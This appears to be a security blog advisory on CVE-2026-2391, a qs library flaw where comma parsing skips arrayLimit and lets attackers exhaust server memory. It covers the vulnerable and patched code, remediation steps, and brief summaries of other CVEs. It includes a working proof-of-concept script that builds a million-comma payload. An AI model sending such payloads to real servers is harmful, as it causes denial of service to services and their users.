Feb 12, 2026·6 min read·148 visits
The `qs` library (used by Express.js) ignores `arrayLimit` when parsing comma-separated values (`?a=1,2,3...`). Attackers can trigger OOM crashes by sending massive comma strings. Fixed in 6.14.2.
A logic flaw in the popular Node.js `qs` library allows attackers to bypass array limits when the `comma` parsing option is enabled. By sending a crafted query string containing thousands of commas, an unauthenticated attacker can force the application to allocate massive arrays, leading to memory exhaustion and a Denial of Service (DoS). This vulnerability highlights the dangers of 'return early' patterns in input validation logic.
If you've ever written a Node.js web server, you've almost certainly used qs. It's the de facto standard for parsing query strings, sitting underneath heavyweights like Express.js. It turns the chaotic soup of URL parameters (?foo=bar&baz=qux) into nice, clean JavaScript objects. It handles deep nesting, arrays, and all the edge cases that the native querystring module ignores.
But here's the thing about parsing libraries: they are the frontline defense. They touch user input before your application logic even wakes up. If the parser is broken, your fancy authentication middleware doesn't matter. You are already dead.
CVE-2026-2391 targets a specific convenience feature in qs: Comma-Separated Values. Sometimes developers want ?ids=1,2,3 to automatically become ['1', '2', '3'] without forcing the client to send ?ids[]=1&ids[]=2.... To support this, qs offers the comma: true option. It sounds innocent enough, but as we're about to see, enabling this option essentially handed attackers a 'Skip Logic' card for security controls.
The vulnerability isn't a complex buffer overflow or a heap grooming masterpiece. It's a classic case of Order of Operations failure. Developers often implement security limits—like arrayLimit—to prevent memory exhaustion. In qs, the default arrayLimit is 20. If you try to send 100 items, qs is supposed to stop parsing or convert the excess into an object index to save memory.
However, in lib/parse.js, the logic for handling commas was implemented before the limit checks were fully enforced. The code looked at the input string, saw a comma, and immediately thought, "I know what to do here! I'll split this string and return the result right now!"
> [!NOTE]
> The Fatal Mistake: The code returned the result of val.split(',') immediately. It bypassed the subsequent code blocks responsible for checking if the resulting array size exceeded the configured limit.
This means that even if you configured qs to throw an error when limits are exceeded (throwOnLimitExceeded: true), the comma parser would happily generate an array of 1,000,000 items before the validator ever got a chance to object. It’s like a bouncer checking ID at the front door, but leaving the loading dock wide open for anyone carrying a box.
Let's look at the diff. This is where the oversight becomes painful to read. The vulnerability lived in the parseValues function.
The Vulnerable Code (Simplified):
// lib/parse.js (Pre-patch)
var parseValues = function (str, options) {
// ... setup ...
// IF commas are enabled and present...
if (options.comma && val.indexOf(',') > -1) {
// ... SPLIT AND RETURN IMMEDIATELY
return val.split(',');
}
// ... complex parsing logic and LIMIT CHECKS happen down here ...
};See that return? That's the game over. The function exits before it ever reaches the code that says, "Hey, is this array too big?"
The Fix (Commit f6a7abf):
The maintainers fixed this by removing the early return and explicitly checking the length of the generated array against the arrayLimit.
// lib/parse.js (Patched)
if (options.comma && val.indexOf(',') > -1) {
var values = val.split(',');
// Explicitly check the limit on the split result
if (values.length > options.arrayLimit) {
if (options.throwOnLimitExceeded) {
throw new RangeError('Array limit exceeded...');
}
// Or safely combine/truncate
values = utils.combine([], values, options.arrayLimit, options.plainObjects);
}
return values;
}The fix forces the comma-split array to undergo the same scrutiny as any other array structure.
Exploiting this is trivially easy if you can find an endpoint where comma: true is enabled. You don't need special headers, you don't need to bypass a WAF (usually), and you don't need authentication.
The Attack Scenario:
qs (common in Node.js apps). They fuzz parameters with commas (?q=a,b) to see if the server treats them as arrays.String.prototype.split allocates a massive array of strings on the heap.Proof of Concept:
const qs = require('qs');
// Target configuration
const options = {
comma: true,
arrayLimit: 5, // We expect this to stop us... but it won't.
throwOnLimitExceeded: true
};
// The payload: 1 million commas
const attackPayload = 'data=' + 'a,'.repeat(1000000);
console.log("Attempting parse...");
try {
const result = qs.parse(attackPayload, options);
console.log(`Success! Array length: ${result.data.length}`);
console.log("The limit of 5 was completely ignored.");
} catch (e) {
console.log("Blocked:", e.message);
}When run against a vulnerable version, this script outputs Array length: 1000001. The memory usage spikes instantly. If an attacker sends concurrent requests like this, the Node.js process will hit its memory limit (default ~1.5GB) and crash with FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory.
You might argue, "Who enables comma: true anyway?" It's less common than the default behavior, but it is frequently used in APIs that want to support compact filter lists (e.g., GET /users?ids=1,2,3).
The consequences are:
This is a classic Asymmetric Attack: It costs the attacker fractions of a penny to generate a string of commas, but it costs the defender significant CPU cycles and RAM to process it.
The remediation is straightforward, but it requires action. This isn't a vulnerability that will magically go away.
Immediate Steps:
qs to 6.14.2 or higher. Run npm audit fix or manually upgrade your package.json.comma: true. If you don't actually need comma-separated parsing, turn it off. The safest code is code that doesn't run.> [!TIP] > Developer Lesson: Never assume a library enforces its own constraints consistently across all features. When enabling "convenience" features (like fuzzy matching or comma parsing), always verify if the standard security limits still apply.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
qs ljharb | <= 6.14.1 | 6.14.2 |
| Attribute | Detail |
|---|---|
| CWE | CWE-20 / CWE-770 |
| CVSS v4.0 | 6.3 (Medium) |
| Attack Vector | Network (Remote) |
| Privileges | None |
| Impact | Denial of Service (Memory Exhaustion) |
| EPSS Score | 0.00049 (~0.05%) |
Improper Input Validation leading to Allocation of Resources Without Limits
A state persistence vulnerability exists in Tornado's CurlAsyncHTTPClient component where pooled pycurl.Curl handles are reused across asynchronous requests without a complete state reset. Consequently, sensitive per-request configurations, such as client TLS certificates or proxy basic authentication credentials, persist on the shared handle. This behavior leads to subsequent requests leaking these credentials to unauthorized remote servers.
CVE-2026-48748 is a denial-of-service vulnerability in Netty's HTTP/3 codec (netty-codec-http3) occurring when QPACK dynamic tables are enabled but the blocked streams limit is not explicitly configured. A bug in limit checking and a memory leak in stream tracking allow unauthenticated remote attackers to exhaust the JVM heap memory and crash the server.
CVE-2026-50009 is a cryptographic design vulnerability in the Netty network application framework. Prior to version 4.2.15.Final, the framework's QUIC protocol implementation fails to cryptographically segregate the generated Connection IDs and the associated Stateless Reset Tokens. An on-path network attacker who sniffs traffic during a Connection ID rotation can extract secret token material from cleartext headers, enabling them to inject spoofed reset packets and terminate active connections.
A critical hostname verification bypass vulnerability exists in the Netty network application framework when configured as a TLS client. When a developer registers a custom plain X509TrustManager, Netty wraps it inside an X509TrustManagerWrapper to adapt it to the X509ExtendedTrustManager API. However, this wrapper discards the SSLEngine context, bypassing critical hostname checks. Because the wrapper is identified as an X509ExtendedTrustManager, standard cryptographic engines and Netty's OpenSSL wrappers do not re-wrap it, failing to execute any hostname validation. Consequently, clients silently accept certificates for any host, enabling unauthenticated Man-in-the-Middle (MitM) attacks.
An uncontrolled resource pre-allocation flaw in the Netty Redis codec module allows remote unauthenticated attackers to cause a denial of service (OutOfMemoryError) by sending a crafted Redis Serialization Protocol (RESP) array header.
CVE-2026-50020 is a medium-severity HTTP Request Smuggling/Response Smuggling vulnerability (CWE-444) within the Netty asynchronous network application framework. The flaw resides in Netty's HTTP codec implementation, specifically the HttpObjectDecoder class, which silently consumes arbitrary ISO control bytes preceding the first request line.